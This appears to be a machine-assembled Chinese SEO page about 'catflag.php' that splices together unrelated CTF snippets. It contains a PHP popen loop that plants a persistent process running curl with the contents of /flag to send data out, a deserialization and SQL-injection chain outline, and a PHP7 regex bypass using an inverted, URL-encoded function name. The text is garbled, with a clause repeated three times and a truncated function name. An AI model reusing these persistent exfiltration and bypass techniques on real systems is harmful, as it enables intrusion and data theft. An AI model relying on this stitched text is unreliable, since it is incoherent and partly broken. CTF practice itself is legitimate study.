很多站长朋友们都不太清楚catflag.php,今天小编就来给大家整理catflag.php,希望对各位有所帮助,具体内容如下:
本文目录一览: 1、 php执行外部命令,如何不等待返回结果 2、 php如何循环反序列化? 3、 CTF赛题PHP7 正则绕过 php执行外部命令,如何不等待返回结果pclose(popen('command ', 'r'));
感谢楼上的朋友。亲测有效,在linux中需要让程序在后台运行才可以,因此必须加,例如:
pclose(popen("{ while true;do echo 123;sleep 5;done;}", r));
这条命令注意 { 后面有一个空格。玩awd攻防赛的朋友可以靠这种方式种一个不死的子进程,不断发送flag给服务器:
pclose(popen("{ while true;do curl `cat /flag`;sleep 5;done;}", 'r'));
php如何循环反序列化?1.构造HITCON类反序列化字符串,其中$method='login',$args数组’username’部分可用于构造SQL语句,进行SQL注入,'password’部分任意设置。
2.调用login()函数后,利用username构造联合查询,使查询结果为SoFun类反序列化字符串,设置username构造联合查询,使查询结果为SoFun类反序列化字符串,设置username构造联合查询,使查询结果为SoFun类反序列化字符串,设置file=‘flag.php’,需绕过__wakeup()函数。
3.绕过oadData()函数对反序列化字符串的验证。
4.SoFun类 __destruct()函数调用后,包含flag.php文件,获取flag,需绕过__wakeup()函数。
CTF赛题PHP7 正则绕过前言:由于长度限制,且不像其他题目告知flag.php的内容, 笔者并没有求出flag,绕过思路可参考,也欢迎ctf大佬指点迷津。
题目如下,解析flag.php中的flag变量
1.题目不告知flag.php的内容,所以唯一的办法只有打印出flag.php,先想办法绕过
2.因为 _ 也在正则里面,所以 =${_GET}[_]();_=phpinfo() 没办法传入
3.尝试php7 中的($a)();来执行动态函数 例如 ('phpinfo')()
4.那么动态构造函数名称即可,可理解,假如你是:(1+1)(); php会先运算1+1=2 然后在调用:2();
5.借助大牛的payload (~%8F%97%8F%96%91%99%90)(); 成功执行
6.payload构造方式如下
** 如何理解? **
对执行的函数取反然后进行 urlencode 详细可自行科普
7.当前可执行phpinfo,如何获取flag.php的内容?思路继续扩展
以上均是长度限制 笔者解题终于此
那么只需要 执行 getFlag()函数即可
('getFlag')(); 对flag进行编码
以上就是笔者对php绕过的小理解和内容分享
参考文章:
欢迎讨论,持续更新中,感谢关注
关于catflag.php的介绍到此就结束了,不知道本篇文章是否对您有帮助呢?如果你还想了解更多此类信息,记得收藏关注本站,我们会不定期更新哦。
查看更多关于包含catflag.php的词条的详细内容...